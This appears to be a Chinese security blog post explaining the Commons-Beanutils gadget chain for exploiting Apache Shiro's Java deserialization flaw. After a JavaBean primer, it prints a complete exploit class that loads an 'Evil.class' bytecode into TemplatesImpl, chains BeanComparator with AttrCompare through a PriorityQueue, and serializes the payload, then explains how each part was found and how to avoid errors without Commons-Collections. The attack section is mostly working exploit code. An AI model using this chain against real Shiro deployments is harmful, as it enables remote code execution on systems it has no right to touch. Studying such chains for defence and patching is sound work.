Shiro中不自带 Commons-Collections依赖,但是自带 Commons-Beanutils依赖,故可以尝试使用 CB链打 Shiro反序列化漏洞。
Commons-beanutils
Commons-Beanutils 是 Apache 软件基金会提供的一个开源 Java 库,旨在简化 Java Bean 对象的操作。它提供了便捷的工具来访问和修改 Java Bean 的属性,尤其是在动态或复杂的属性操作时,它使得代码更加简洁和高效。
User类,一个普通的 JavaBean:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| public class User { private String username; private String password; private String salt;
public User() { } public User(String username, String password, String salt) { this.username = username; this.password = password; this.salt = salt; } public String getUsername() { System.out.println(username); return username; } public void setUsername(String username) { this.username = username; } public String getPassword() { return password; } public void setPassword(String password) { this.password = password; } public String getSalt() { return salt; } public void setSalt(String salt) { this.salt = salt; } }
|
正常调用 JavaBean:
1 2 3 4 5 6 7
| public class demo { public static void main(String[] args) throws Exception { User user = new User(); user.setUsername("zhangsan"); user.getUsername(); } }
|
使用 commons-beanutils调用 JavaBean:
1 2 3 4 5 6 7 8 9 10 11
| import org.apache.commons.beanutils.BeanComparator; import org.apache.commons.beanutils.PropertyUtils; public class demo { public static void main(String[] args) throws Exception { User user = new User(); PropertyUtils.setProperty(user, "username", "zhangsan"); PropertyUtils.getProperty(user, "username"); } }
|
分析 TemplatesImpl时,类中有个 getter方法 - getOutputProperties也调用了 TemplatesImpl.newTransformer:

可以在 Shiro中找哪里调用了 PropertyUtils.getProperty,构造 exp。
完整 EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare; import org.apache.commons.beanutils.BeanComparator; import org.apache.commons.beanutils.PropertyUtils; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.comparators.TransformingComparator; import org.apache.commons.collections.functors.ConstantTransformer;
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class CB_chain { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class templatesImplClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Field nameField = templatesImplClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "aaa"); byte[] byteCode = Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/Tools/Commons_Collections/src/main/java/org/kgty/Evil.class")); byte[][] byteCodes = {byteCode}; Field byteCodesField = templatesImplClass.getDeclaredField("_bytecodes"); byteCodesField.setAccessible(true); byteCodesField.set(templates, byteCodes); Field tfactoryField = templatesImplClass.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator("outputProperties", new AttrCompare());
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator); priorityQueue.add(templates); priorityQueue.add(1);
Class priorityQueueClass = priorityQueue.getClass(); Field priorityQueueField = priorityQueueClass.getDeclaredField("comparator"); priorityQueueField.setAccessible(true); priorityQueueField.set(priorityQueue, beanComparator);
serialize(priorityQueue); deserialize(); }
public static void serialize(Object object) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/Users/gehansheng/Desktop/Java代码审计/shiro/shiro-shiro-root-1.2.4/samples/web/src/test/java/org/apache/shiro/test/ser.txt")); objectOutputStream.writeObject(object); }
public static void deserialize() throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("/Users/gehansheng/Desktop/Java代码审计/shiro/shiro-shiro-root-1.2.4/samples/web/src/test/java/org/apache/shiro/test/ser.txt")); objectInputStream.readObject(); } }
|
EXP构造逻辑
1、首先已经确认了 PropertyUtils.getProperty(templates, “outputProperties”); 实现命令执行的目标,查找 getPropertyUtils调用位置,其在 BeanComparator中可控,property在构造函数中被赋值:



2、查找 compare的用法,可以结合 CC4链的思路,java.util工具类中的 PriorityQueue类中的 readObject方法调用了 compare,正好符合反序列化条件:




comparator可以在构造函数中赋值可控:


EXP构造坑点:
1、向队列中第二次添加数据 - priorityQueue.add(1)时,提前触发 comparator.compare方法,到达下图断点位置,要在 Integer类中查找调用 getOutputProperties方法,但是 Integer类中没有这个 getter方法,从而产生报错:


可以利用 TransformingComparator类中的 compare方法,结合 new ConstantTransformer(1)返回常量,transformer在构造函数中赋值可控,虽然 TransformingCoparator是 commons-collections中的类,但是只是为了 priorityQueue.add(1)提前命令执行导致后续代码无法正常执行,不影响最终的序列化和反序列化结果:


具体实现代码:
1 2 3 4 5 6 7 8 9 10
| TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator); priorityQueue.add(templates); priorityQueue.add(1);
Class priorityQueueClass = priorityQueue.getClass(); Field priorityQueueField = priorityQueueClass.getDeclaredField("comparator"); priorityQueueField.setAccessible(true); priorityQueueField.set(priorityQueue, beanComparator);
|
2、完全原生打 Shiro时,只有 commons-beanutils没有 commons-collections,但是 BeanComparator单参构造函数中使用了 CC中的类,会导致报错 - 找不到这个类:

可以使用它的另一个构造函数,手动赋值 comparator

前提是实现了 Serializable接口(可以被反序列化),并且依赖中存在,AttrCompare类就符合条件,构造即可:


cb链打 Shiro反序列化漏洞复现:
